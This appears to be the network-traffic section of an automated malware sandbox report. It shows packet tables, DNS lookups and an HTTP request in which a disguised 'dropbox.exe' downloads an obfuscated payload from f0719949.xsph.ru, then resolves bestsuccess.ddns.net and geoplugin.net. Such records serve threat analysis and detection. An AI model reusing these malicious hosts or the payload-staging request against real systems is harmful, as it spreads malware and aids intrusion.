Sep 19, 2022 22:38:01.019150972 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019171953 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019174099 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019190073 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019207001 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019237041 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019254923 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019262075 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019275904 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019292116 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019310951 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019328117 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019359112 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019366980 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019396067 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019417048 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019437075 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019439936 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019457102 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019474030 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019490004 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019505024 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019511938 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019529104 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019546986 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019563913 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019583941 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019584894 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019603968 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019620895 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019634008 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019640923 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019659042 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019670963 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019679070 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019696951 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019714117 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019717932 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019737005 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019752979 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019763947 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019776106 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019782066 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019795895 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019814968 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019821882 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019835949 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019853115 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019876003 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019876957 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019896984 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019913912 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019923925 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019933939 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019951105 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019970894 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019972086 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019989967 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020008087 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020024061 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020030975 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020047903 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020066023 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020081997 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020087004 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020104885 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020122051 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020138979 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020149946 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020159960 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020179033 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020193100 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020212889 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020231962 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020262957 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020279884 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020283937 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020303011 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020318031 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020360947 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020380020 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020382881 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020401001 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020416021 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020430088 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020437956 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020454884 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020490885 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020507097 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020529032 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020543098 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020567894 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020576000 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020589113 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020606995 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020621061 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020627975 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020644903 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020662069 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020675898 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020683050 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020701885 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020710945 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020724058 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020742893 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020760059 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020764112 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020782948 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.020818949 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.020873070 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.071661949 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.077631950 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077661037 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077677011 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077691078 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077709913 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077727079 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077745914 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077764988 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077780008 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.077785969 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077802896 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077855110 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.077857971 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077877045 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077896118 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.077898979 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077919006 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077938080 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.077946901 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.077958107 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078003883 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078006983 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078061104 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078161001 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078178883 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078221083 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078227997 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078247070 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078269958 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078280926 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078310966 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078329086 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078334093 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078351974 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078367949 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078385115 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078394890 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078408003 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078416109 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078433990 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078444958 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078454018 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078474045 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078480959 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078494072 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078506947 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078516006 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078533888 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078543901 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078556061 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078572989 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078589916 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078605890 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078612089 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078640938 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078648090 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078660965 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078669071 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078685999 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078704119 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078721046 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078732014 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078742027 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078769922 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078805923 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.078963041 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078979969 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.078998089 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079009056 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.079020023 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079032898 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.079041004 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079061985 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.079065084 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079085112 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079102039 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079109907 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.079119921 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.079134941 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.079175949 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.243514061 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:05.119926929 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:16.975526094 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:16.975682974 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:30.994133949 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:30.994242907 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:39:08.504539967 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:39:08.599503040 CEST	49709	80	192.168.2.3	141.8.192.151

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 19, 2022 22:37:04.766061068 CEST	49977	53	192.168.2.3	8.8.8.8
Sep 19, 2022 22:37:04.793610096 CEST	53	49977	8.8.8.8	192.168.2.3
Sep 19, 2022 22:37:46.267668009 CEST	57990	53	192.168.2.3	8.8.8.8
Sep 19, 2022 22:37:46.297627926 CEST	53	57990	8.8.8.8	192.168.2.3
Sep 19, 2022 22:38:00.276586056 CEST	52387	53	192.168.2.3	8.8.8.8
Sep 19, 2022 22:38:00.306555986 CEST	53	52387	8.8.8.8	192.168.2.3
Sep 19, 2022 22:39:08.455214977 CEST	56924	53	192.168.2.3	8.8.8.8
Sep 19, 2022 22:39:08.476768017 CEST	53	56924	8.8.8.8	192.168.2.3
Sep 19, 2022 22:39:09.017201900 CEST	60625	53	192.168.2.3	8.8.8.8
Sep 19, 2022 22:39:09.034288883 CEST	53	60625	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 19, 2022 22:37:04.766061068 CEST	192.168.2.3	8.8.8.8	0xe20	Standard query (0)	f0719949.xsph.ru	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:37:46.267668009 CEST	192.168.2.3	8.8.8.8	0x5d4f	Standard query (0)	f0719949.xsph.ru	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:38:00.276586056 CEST	192.168.2.3	8.8.8.8	0x7850	Standard query (0)	f0719949.xsph.ru	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:39:08.455214977 CEST	192.168.2.3	8.8.8.8	0xc34f	Standard query (0)	bestsuccess.ddns.net	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:39:09.017201900 CEST	192.168.2.3	8.8.8.8	0x2c17	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 19, 2022 22:37:04.793610096 CEST	8.8.8.8	192.168.2.3	0xe20	No error (0)	f0719949.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:37:46.297627926 CEST	8.8.8.8	192.168.2.3	0x5d4f	No error (0)	f0719949.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:38:00.306555986 CEST	8.8.8.8	192.168.2.3	0x7850	No error (0)	f0719949.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:39:08.476768017 CEST	8.8.8.8	192.168.2.3	0xc34f	No error (0)	bestsuccess.ddns.net	194.5.98.141	A (IP address)	IN (0x0001)	false
Sep 19, 2022 22:39:09.034288883 CEST	8.8.8.8	192.168.2.3	0x2c17	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

f0719949.xsph.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49702	141.8.192.151	80	C:\Users\user\Desktop\dropbox.exe

Timestamp	kBytes transferred	Direction	Data
Sep 19, 2022 22:37:04.904727936 CEST	94	OUT	GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1 User-Agent: lVali Host: f0719949.xsph.ru
Sep 19, 2022 22:37:04.966799021 CEST	95	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 19 Sep 2022 20:37:04 GMT Content-Length: 480659 Connection: keep-alive Last-Modified: Thu, 15 Sep 2022 23:02:48 GMT ETag: "75593-5e8bf3e785579" Accept-Ranges: bytes Data Raw: 10 0a 59 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 ee cf ea 5a 60 62 66 72 76 74 68 76 c5 c5 a7 bb 5f b1 b5 68 72 bb bd 6e 93 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 68 ab 70 6a 68 c7 a0 bf 62 0a b5 e9 24 10 b9 41 f3 77 98 20 73 69 88 7d 32 7d 86 77 e3 71 96 cf d5 22 1c 79 7f 82 cd cd 98 32 24 1c 96 34 2e 7a 97 ee cb 86 7f 79 e1 c7 4c ab ad bd 22 bd 6e 78 64 70 6a 76 a5 0c a4 32 60 ef f5 7d 5e f3 e7 79 b1 9e b8 20 57 7c 92 32 66 eb e9 28 5d 8a 24 36 00 ac a6 85 10 90 69 79 b3 f7 b6 77 b3 06 84 67 c5 b2 f9 30 31 1a a7 36 74 eb b8 32 fc 31 9a 20 8c e7 e9 73 5b ee ae 1a 93 e7 eb 69 4f 27 eb 73 22 aa ae 1c c5 47 44 34 b1 f3 b6 1e 70 9e e7 1e 3e e7 f3 6b 4d dc a0 7f 92 ac e9 77 02 45 95 81 5a 03 9e 38 63 de a6 34 c3 aa a4 34 df 32 90 77 74 f3 05 73 b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 dd 8f bd 6e 3f 66 5a 76 76 a7 60 e5 b9 6c 62 74 c3 78 bb 5a 09 76 6c 74 bb a9 5e af 66 40 72 5a c1 ab 72 6e a7 bb bd 6e 0c 2a c1 6a 76 6a 5a b1 62 d9 b9 6a 74 68 93 78 78 b7 bb a7 b1 a7 68 72 78 bd c1 76 a9 af 76 bb 74 af 66 b9 6c 62 74 c3 78 0b af a9 76 6a bb 5a 66 70 af 66 bb b9 5a 41 b7 70 5e a7 bb ad 6e 78 64 70 5a 76 5a 6a b1 62 66 72 6a 74 78 76 78 78 a7 bb a7 b1 b5 68 72 bb 7a ac 70 a9 1f 76 bb b7 af 96 74 6c 77 89 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 fe 62 bb 49 56 78 64 60 57 70 5a 8f b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 12 63 af af 5e bb b7 af 54 0c 72 62 91 c3 78 bb 5a a9 76 76 bb 5a 66 70 af d9 6a b9 0e bd b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb 3c 1a db 7f 79 bb bd 6e f4 a3 5c 76 bb a7 af a9 b9 95 a9 74 c3 6c bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a e1 b7 70 d1 3c 32 86 84 7b 8e 70 6a dc 26 b5 b1 62 d9 b9 6a 74 6b b9 78 78 52 78 a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb 3a af a9 3c 97 d9 7e 30 7a bb 5a a9 9f d5 bb 5a 66 d0 a9 66 c1 a7 5a c1 b7 ac 78 a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 a3 72 6a b4 93 7d 83 2c a7 bb a7 b1 72 68 72 bb bd 8b bb a9 af 6c bb b7 af fb bf 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 8d af 66 01 4a 92 7c 7d d3 32 a7 bb 50 74 78 64 70 e5 bb 5a 5a ad 62 66 72 9e 6a 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 8b 76 a9 52 a5 32 83 1e e5 b9 6c 62 69 3e 78 bb 5a 96 bb 76 bb 2d 66 70 af b6 b7 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 87 76 5a 97 42 6b 90 81 2a 80 68 76 04 50 a7 bb a7 61 60 68 72 3c bd 6e 76 cb 5a 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a 4c 76 76 44 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 Data Ascii: YgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQZ`bfrvthv_hrnvlbtxZvvZfpfZpnnhpjhb$Aw si}2}wq"y2$4.zyL"nxdpjv2`}^y W\|2f(]$6iywg016t21 s[iO's"GD4p>kMwEZ8c442wtsbfrjthvxxhn?fZvv`lbtxZvlt^f@rZrnnjvjZbjthxxhrxvvtflbtxvjZfpfZAp^nxdpZvZjbfrjtxvxxhrzpvtlwxZvvZfpfZpbIVxd`WpZbfrjthvxxhrc^TrbxZvvZfpjpnnxdpjvZZbfrjthvxx<yn\vtlZvvZfpfZp<2{pj&bjtkxxRxhrnvv:<~0zZZffZxnxdpjvZZbrj},rhrllbtxZvvZffJ\|}2PtxdpZZbfrjhvxxhrvR2lbi>xZv-fpZpnnxdpvZBkhvPa`hr<nvZvlbtxZLvvDZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxx
Sep 19, 2022 22:37:04.966835022 CEST	96	IN	Data Raw: bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c Data Ascii: hrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxNr#~v(ftvz@v#GvpqVbfDv=bfnLvrq#WJxm:d^fk%,dp}V
Sep 19, 2022 22:37:04.966875076 CEST	98	IN	Data Raw: c3 a9 b9 7b bf 90 87 78 23 8c b9 b7 76 c9 f3 f1 95 1f 9d c1 21 06 98 76 70 79 80 df 91 6e d0 4a 60 c3 76 90 f3 26 30 7a 3e 6a cc 52 66 b9 78 dd b2 20 95 c9 4c 72 23 9b 5e b7 a9 e5 f7 2c a1 cb a5 b9 d4 30 64 6a 78 c9 f3 9e b6 09 48 5a be 79 86 a7 Data Ascii: {x#v!vpynJ`v&0z>jRfx Lr#^,0djxHZy.JpltnCk^{6Z,t vbN8v{"n\}gJ^fn9oEsn_Cd/siZSb/B&{l1LBZ\|v3pz?&tp4;Vuh,
